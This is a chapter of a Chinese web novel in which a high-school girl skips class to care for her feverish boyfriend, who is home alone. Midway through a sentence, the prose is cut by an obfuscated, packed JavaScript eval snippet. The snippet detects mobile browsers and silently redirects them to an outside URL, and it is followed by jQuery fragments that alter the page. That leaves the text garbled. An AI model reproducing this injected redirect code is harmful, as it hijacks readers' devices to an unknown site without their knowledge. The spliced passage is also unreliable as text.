32. Chase

    天气预报说的雨是从第二节课开始下的。


    淅淅沥沥的雨声传进班内,不少同学按捺内心的激动与兴奋。


    耶,大课间不用跑操了!


    “范洋,你来翻译下这句话。”


    英语老师拍了两下黑板,唤回同学们的注意力。


    “啊?哦……好。”盯着冯潇潇后脑勺发呆的范洋仓促站起身,边慢吞吞拿起卷子,边对同桌疯狂使眼色。


    江湖救急,哪句话?


    秦六佑状似不经意地抻着脑袋,偏过头,小声提醒:“第二自然段第二句。”


    慌里慌张的范洋连忙锁定目标,磕磕巴巴地说出答案。


    “嗯,坐下吧。”英语老师颔首,一脸严肃地说,“大家都高三了,上课走神这种事别再让我来提醒。”


    姜知幻仿若未闻,看着身旁空空如也的座位。


    临近早读,宋不辞给她发了消息,很简短的四个字。


    serendipity:生病请假


    姜郎不才尽:在医院?


    serendipity:家


    言简意赅,连个多余的字都没有,和之前的聊天风格完全不同。


    看来病得应该挺严重,打字都费劲。


    不过,他一个人在家吗?


    下课铃响,广播通知跑操取消,时间自由安排。


    姜知幻从书包里摸出手机,发了几条消息过去,但宋不辞都没回。


    她想了想,点开与傅琳的聊天框。


    姜郎不才尽:在吗?大美女


    姜郎不才尽:叼玫瑰.jpg


    大美女的回复比预料中快。


    dusk:在


    姜郎不才尽:我想请假


    dusk:去干嘛呀宝贝


    姜郎不才尽:看月亮


    dusk:大白天你上哪看月亮?


    姜郎不才尽:妈,你听说过一句话吗


    姜郎不才尽:等待是最长情的告白


    dusk:……


    dusk:宝贝


    dusk:你最近的学习压力是不是有点大?


    插科打诨间,桌面被敲了两下。


    姜知幻下意识息屏,将手机揣进兜里,抬头,循声望去。


    “你什么时候来的?”她看着站在斜前方的温玉,有些意外。


    分明两分钟前,这个位置还是空着的。


    闪现啊。


    温玉今天的打扮不同以往,鼻梁上多了副银丝框眼镜,整个人看着儒雅斯文,那双多情的杏眼里却多了些许冷峻。


    “刚刚。”他说着,头往前门口的方向偏了下,“关老师找你。”


    “哦。”姜知幻起身。


    温玉揉了揉脖颈,问:“宋不辞呢?”


    “请假了。”姜知幻回。


    温玉的视线转到夏闲身上,作死将人摇醒,“闲啊别睡了,快看看你英俊帅气风流倜傥的同桌回归了。”


    “你是不是欠揍?”夏闲烦不胜烦,压着眉眼间的不耐。


    温玉的回答牛头不对马嘴,“我知道你想我了,别不好意思。”


    “滚。”


    办公室内。


    “你妈妈刚给我打电话,给你请了一天假。”关顺在请假条上签好字,看着假条上的理由,犹豫了下,开口,“为了看月亮?”


    姜知幻点头,脸不红心不跳地说:“我们家的人比较浪漫。”


    “……”关顺在她脸上看不出任何破绽,妥协地摆摆手,说,“去吧去吧,明天回来记得把今天的进度赶上。”


    “好,谢谢关老师。”姜知幻笑着微微欠身。


    …


    寒风细雨,天空灰暗。


    姜知幻背着书包走出教学楼,右手撑伞,左手持手机,给宋不辞拨了个电话。


    “您拨打的电话已关机……”


    关机了……


    难怪之前发的消息都石沉大海。


    姜知幻将手机揣进兜里,继而摸出请假条。她踩着地面上的雨水,不紧不慢地走,思考出校门后要买点什么。


    不知道他去过医院没,吃过药没……


    去看宋不辞这个念头,是突然冒出来的。如果有人照顾他,她就回学校继续上课。


    姜知幻把假条递给门口保安大爷时打定了主意,买些感冒药和退烧药。


    气温骤降,这两种病容易得。


    到达宋不辞家门口,姜知幻长睫轻垂,抬手,一个数字一个数字地按下。


    20160520


    “咔哒。”


    解锁成功。


    姜知幻拎着药和伞走进,低头,只见玄关处摆放的鞋子多了两双。


    女士凉拖鞋和毛绒拖鞋。


    一楼空荡静寂,没开灯。


    姜知幻换好鞋,将手里的东西找位置放好,这才提着药上二楼。她推开虚掩的卧室门,室内没开灯,窗帘紧闭,比楼下还黑。


    姜知幻没有注意床上的情况,而是先拉开窗帘。外面的光线顿时涌入房间,她转身看着床上躺着的人,慢步走过去。


    所有猜测在这一刻都得到了印证。


    偌大的房子里,没人照顾他,床头柜放着一部电源耗尽的手机,拔了插头的星空灯,以及一支水银温度计。


    宋不辞闭着眼,蹙着眉,脸颊泛红。似乎睡得很沉,丝毫没察觉床边多了个人。


    他的额发湿漉漉的,睫毛也是,姜知幻盯着睫毛看了会儿,一时分辨不出是汗打湿的,还是哭过。


    她边拿起温度计看了眼,边抬手,手背刚覆上少年的额头,就感受到滚烫的温度。


    39.2c


    发高烧。


    “宋不辞。”姜知幻皱眉,拍拍他的脸,又晃晃他的肩。


    叫了好几遍名字,床上的人终于有被唤醒的迹象。


    宋不辞迷糊间感觉到有什么东西贴在脸上,冰冰凉凉的,挺舒服。他伸手抓住,慢吞吞睁开眼。


    入目是一只冷白的手,腕侧有痣。


    眼熟,像他女朋友的手。


    宋不辞脑袋晕乎乎的,觉得肯定是在做梦,可触感又实在太真实了,他鬼使神差地将手扯到唇边,吻了下那颗痣。


    是个美梦。


    正这样想着,下巴突然被一只手捏住,摇晃两下,本就晕的脑袋更加混沌了,耳边响起清凌凌的女声。


    “你在做什么梦?”


    宋不辞的眼皮猛地往上抬,看见了姜知幻的脸。他的目光直接定住不动,倏忽间有好多话想说,却不知从何说起。


    所以他目不转视地盯着姜知幻,视线钉得很牢,好似生怕她下一秒就消失了。


    “清醒点没?”姜知幻语气担忧,“没被烧傻吧?”


    宋不辞呆呆地盯了她五六秒,终于反应过来,他开口,嗓子又干又哑,声音轻轻,“没。”


    姜知幻问,“去医院看过没?”


    “没。”


    “吃药没?”


    “没。”


    “所以,你是打算靠自己顽强的意志力痊愈吗?”


    “没。”


    句句有回应,句句都一样。


    姜知幻气笑,忍不住揉两下宋不辞的脸,试图让他更清醒些,“生病了你为什么不去医院不吃药,也不打电话跟人说?”


    “……不是。”宋不辞迟缓道,但病成这样,他竟还有力气笑,声音听着又挺可怜巴巴,“没劲儿。”


    是真没劲儿。


    跟宋无恙通完话后,他昏睡到凌晨才醒,身心俱惫地从地板上爬上床继续睡。饿醒后只觉喉咙不舒服,没太在意,简单弄了点吃的、喝了杯热水又躺回床上。


    今早被闹钟吵醒时浑身发烫,一点都不想动弹,他靠着残存的意志力给自己量体温、打电话请假,回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14757067|145538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    复完姜知幻的消息,体温计都没认真看一眼,放在床头再次睡过去。


    可怜巴巴。


    放以前,姜知幻根本不觉得这四个字能与宋不辞适配。他很好说话,很顺着她,却绝不是好拿捏的类型,偶尔露出性格棱角时,她都有些措不及防。


    细想起来,这还是宋不辞第一次展示自己比较弱势的一面。即便情况特殊。


    “现在好点了吗?”姜知幻的语气不自觉地放软,问。


    宋不辞懒蔫蔫地耷拉下眼皮,没回答问题,倒是握紧了她的手腕,话语似撒娇又似央求,“你陪陪我吧。”


    已经记不清,上一次生病有人陪是什么时候了。


    “好。”姜知幻没有犹豫地应了声。


    “我买了退烧药和退烧贴。”她不确定有没有用,“如果没用,到时候你起不来,我雇人都得把你抬去医院。”


    宋不辞弯了下唇,十分听话:“嗯。”


    “再测一下温度吧。”姜知幻甩了两下温度计,看他,“家里有酒精吗?”


    “一楼的柜子里。”宋不辞说。


    姜知幻点头,抽出手,下一楼找到医药箱,用酒精消毒后折返回卧室。


    宋不辞这会儿已经坐起来了,他半阖着眼,神色倦怠,整个人都被无精打采的病气笼罩。


    察觉到姜知幻的身影,他微微仰头。


    “含着。”姜知幻把温度计递过去。


    宋不辞张嘴,乖乖照做。


    等待中,姜知幻单腿跪在床上,牙尖磨着上唇,注视他红意未褪半分的脸。现在,只有她能看见这副模样。


    质问?指责?还是安慰?


    浑然不知她内心活动的宋不辞也在看她,看清了她眼底的笑意时,歪头扬了下眉。


    ——我生病了你这么开心?


    原来还有开心。


    姜知幻抬手摸他发烫的耳尖,笑意越发不加掩饰,音调慵懒,轻声吐出三个字:“真可怜。”


    如果没抓住来看他的念头,病成这样身边都没个关心他的人,啧啧,惨兮兮的小可怜。


    宋不辞一言不发地看着她,嘴里含着的不像是温度计,倒像叼了根棒棒糖或烟。


    姜知幻倾身凑近,眼底的侵略性与占有欲愈加明显,“现在,你身边好像只有我了。”


    她说完,宋不辞没有任何动作,只缓慢地眨了下眼,光看神情,没人能摸透他的内心想法。


    室内没开灯,唯一光源是从窗户透进的灰白天色。雨势渐汹,拍打玻璃,淋淋漓漓,仿佛有着浸透人心的力量。


    姜知幻面色平静如水地跟他对视,等回答。


    她表面从容淡定,实则在无人看见的地方,手揪着被子的一角不放,随着对视的时间增加,揪住的力道也在增加。


    厌恶,恼怒,疑惑,惊讶,觉得她有病……姜知幻在脑中设想了成百上千种可能会看到的表情,偏偏宋不辞一点反应都没有。


    这不是她想看到的结果。


    得不到回应就像没有正确答案的语文大题,一直猜到底哪个回答更加贴切的感觉很煎熬。


    “你……”能不能给点反应。


    就在姜知幻打算破罐子破摔时,宋不辞忽然抬手,有气无力地指了指嘴里的温度计。


    时间够了。


    姜知幻压住心头那股躁,拿过温度计瞧了眼。


    38.5c


    也不知是不是睡觉时出了汗的缘故,温度反而降了。


    “你这一觉睡得倒是不亏,居……”姜知幻放下温度计,话说到半截,一双手毫无预兆地环住她的腰肢。


    姜知幻怔愣,紧接着,一股热源贴上脖间,致使她头皮瞬间麻了下。


    宋不辞抱着她,额头紧挨肩颈处。


    房间内落针可闻,他开口,嗓音低哑。


    “嗯,只有你。”


    “所以,别不要我。”